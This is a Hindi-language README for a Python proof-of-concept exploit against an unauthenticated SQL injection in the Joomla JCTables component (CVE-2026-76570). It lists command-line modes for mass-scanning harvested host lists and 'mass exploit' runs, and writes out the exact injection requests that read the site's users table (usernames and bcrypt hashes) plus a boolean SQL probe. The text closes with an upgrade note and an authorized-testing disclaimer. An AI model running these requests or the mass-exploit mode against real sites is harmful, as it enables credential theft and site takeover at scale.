
CVE-2026-76570 के लिए Python PoC: Joomla JCTables (com_jctables) फ्रंट-एंड JSON API में अनधिकृत SQL इंजेक्शन, जिसमें check, exploit और mass-scan मोड शामिल हैं।
CVE-2026-76570 के लिए Python 3 PoC — Joomcode JCTables — फ्रंट-एंड JSON CRUD API (getdatarow, getrow, …) पर अनधिकृत SQL इंजेक्शन।
| CVE.org | https://www.cve.org/CVERecord?id=CVE-2026-76570 (प्रकाशित 2026-09-30) |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-76570 |
| CNA | Joomla! Project |
| घटक | com_jctables |
| प्रभावित | 1.0.0 – 1.20.0 (लैब: ≤ 1.10.31.2 पुष्टि) |
| फ़िक्स | ≥ 1.21.1 (2026-08-05) |
| CWE | CWE-89, CWE-862 |
| CVSS 4.0 | 10.0 क्रिटिकल — AT:N (कोई विशेष एडमिन कॉन्फ़िग नहीं) |
| विश्लेषण | VulnCheck — JCTables SQL R/W → RCE श्रृंखला |
फ्रंट-एंड कंट्रोलर कार्यों में कोई टोकन / ACL नहीं है। अनुरोध से आने वाले टेबल और कॉलम नाम SQL में जोड़े जाते हैं; ladb_escape() उद्धरण-लिपटे मानों को "पहले से एस्केप्ड" मानता है। getdatarow मनमाने DB टेबल (जैसे {prefix}users) पढ़ सकता है। यह PoC पठन सिद्ध करता है (username / bcrypt पंक्ति) — यह पूरी एडमिन-लॉगिन / प्लगइन RCE श्रृंखला नहीं चलाता।
सफलता मार्कर: POCBIT-76570-OK (JSON प्रूफ़ मेटाडेटा में)।
pip install requests urllib3 coloramacd CVE-2026-76570
python poc.py # interactive
python poc.py hits.txt # mass exploit → exploited.txt
python poc.py --check fofa_hosts.txt # mass scan → hits.txt
python poc.py -u https://site.tld
python poc.py -u URL --prefix jos_ # if you know DB prefix
python poc.py --lab
python poc.py --help
python _engine.py --help
| चरण | अनुरोध |
|---|---|
| पंक्ति पढ़ें | GET index.php?option=com_jctables&format=json&task=getdatarow&tn={prefix}users&idx=id&rid=1 |
| बूलियन प्रोब | GET …&task=getrow&mid=N&tid=T&idx='' OR (1=1) OR '' |
JCTables को 1.21.1+ में अपग्रेड करें या घटक हटा दें।
केवल अधिकृत सुरक्षा परीक्षण।